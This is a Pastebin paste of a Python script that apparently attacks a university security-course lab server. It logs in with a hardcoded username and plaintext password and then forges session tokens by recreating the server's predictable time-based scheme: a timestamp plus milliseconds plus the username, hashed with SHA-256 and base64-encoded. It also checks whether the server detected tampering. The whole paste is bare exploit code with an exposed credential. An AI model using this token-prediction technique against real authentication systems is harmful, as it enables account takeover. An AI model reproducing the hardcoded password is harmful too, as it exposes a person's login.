Advertisement
Guest User

Untitled

a guest
Dec 6th, 2019
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.45 KB | None | 0 0
  1. import sys
  2. import time
  3. import requests
  4. import hashlib
  5. import base64
  6.  
  7. input = {
  8. "user": "ianfergu",
  9. "pass": "CrazeGloriaAngleAbaseSeptemberDrips"
  10. }
  11.  
  12. URL = "http://comp535-lnx-lampvm1.cs.unc.edu/index.php"
  13.  
  14. while True:
  15.  
  16. time.sleep(1)
  17.  
  18. time1 = time.time()
  19. response = requests.post(URL, data=input)
  20. time2 = time.time()
  21. time_sync_value = time2 - time1
  22. #print(time_sync_value)
  23. time_sync_value = str(time_sync_value)
  24. time_sync_value = time_sync_value[3] + '0'
  25. #print(time_sync_value)
  26. #print(response.text)
  27. user_name = "ianfergu"
  28.  
  29. if ("tampered" in response.text):
  30. print("we got caught")
  31.  
  32. if ("account.php" in response.text):
  33. print('logged in')
  34. time_value = int(time1)
  35. unmodified_ms = int(time1 * 1000) - (time_value * 1000)
  36. modified_ms = unmodified_ms + int(time_sync_value)
  37. newToken = str(time_value) + '::' + str(modified_ms) + '::' + user_name
  38. hashed = hashlib.sha256(newToken.encode()).hexdigest()
  39. token = base64.b64encode(hashed.encode())
  40. print(token)
  41. token = token.decode('utf-8')
  42. print(token)
  43. input["token"] = token
  44.  
  45. response = requests.post("http://comp535-lnx-lampvm1.cs.unc.edu/index.php?logout=true")
  46. if ("account.php" not in response.text):
  47.  
  48. print("logged out")
  49.  
  50. #elif ("accepted" in response.text):
  51. #print('I am in second')
  52. #print(response.text)
  53. #break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement